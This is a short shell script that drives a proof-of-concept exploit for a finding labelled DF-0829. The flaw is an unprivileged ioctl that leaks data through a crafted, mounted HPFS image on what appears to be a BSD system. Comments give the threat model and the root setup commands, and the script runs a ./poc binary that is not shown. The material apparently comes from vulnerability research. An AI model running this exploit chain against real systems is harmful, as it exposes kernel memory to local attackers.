#!/bin/sh
# run.sh — exercise DF-0829 against a mounted malicious HPFS image.
#
# PRECONDITION (the realistic threat model from the finding):
#   - The HPFS module is loadable and has been kldload'd by the admin.
#   - An admin (or attacker via vfs.usermount=1 + a root-created image) has
#     mounted the crafted image.  Here we expect /dev/vn0 -> evil.hpfs and
#     the mount at /mnt/hpfs, world-traversable.
#
# The PoC itself is a pure unprivileged userspace program: it opens the
# mountpoint O_RDONLY and issues HPFSIOCRDEA.  hpfs_ioctl has NO privilege
# check, so any local user with read access to the mount triggers the leak.
#
# Setup (run once as root, then run.sh as the unprivileged user):
#   kldload hpfs
#   python3 mk_hpfs.py evil.hpfs
#   vnconfig vn0 evil.hpfs
#   mount_hpfs -u maxx -g maxx -m 755 /dev/vn0 /mnt/hpfs
set -e
cd "$(dirname "$0")"
MP="${1:-/mnt/hpfs}"
./poc "$MP"